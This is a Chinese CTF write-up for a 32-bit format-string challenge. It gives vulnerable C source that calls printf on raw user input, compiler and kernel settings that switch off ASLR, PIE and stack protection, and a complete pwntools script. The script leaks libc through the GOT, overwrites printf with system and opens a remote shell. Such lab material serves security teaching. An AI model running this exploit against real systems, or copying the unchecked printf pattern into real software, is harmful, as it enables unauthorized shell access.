解题文档
程序环境
ubuntu 18.04
考点
格式化字符串
write_up
- 源代码.
```C++
include<stdio.h>
void main()
{
char s[1024];
for(;;)
{
memset(s,'\0',1024);
read(0,s,1024);
printf(s);
fflush(stdout);
//在使用多个输出函数连续进行多次输出时,有可能发现输出错误。因为下一个数据再上一个数据还没输出完毕,还在输出缓冲区中时,下一个printf就把另一个数据加入输出缓冲区,结果冲掉了原来的数据,出现输出错误。 在 prinf();后加上fflush(stdout); 强制马上输出,避免错误。
}
}
2. 编译参数.
关闭ASLR,关闭PIE
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie fmt200.c -o fmt200
3. 解题脚本参考:
```python
from pwn import*
e=ELF('./fmt200')
p=remote('192.168.106.128', 10001)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def exec_fmt(payload):
p.sendline(payload)
info=p.recv()
return info
auto=FmtStr(exec_fmt)
offset=auto.offset
printf_got=e.got['printf']
payload =p32(printf_got)+'%{}$s'.format(offset).encode()
p.send(payload)
printf_addr=u32(p.recv()[4:8])
system_addr=printf_addr-libc.symbols['printf']+libc.symbols['system']
log.info("system_addr=>%s"%hex(system_addr))
payload=fmtstr_payload(offset,{printf_got:system_addr})
p.send(payload)
p.send('/bin/sh')
p.recv()
p.interactive()
|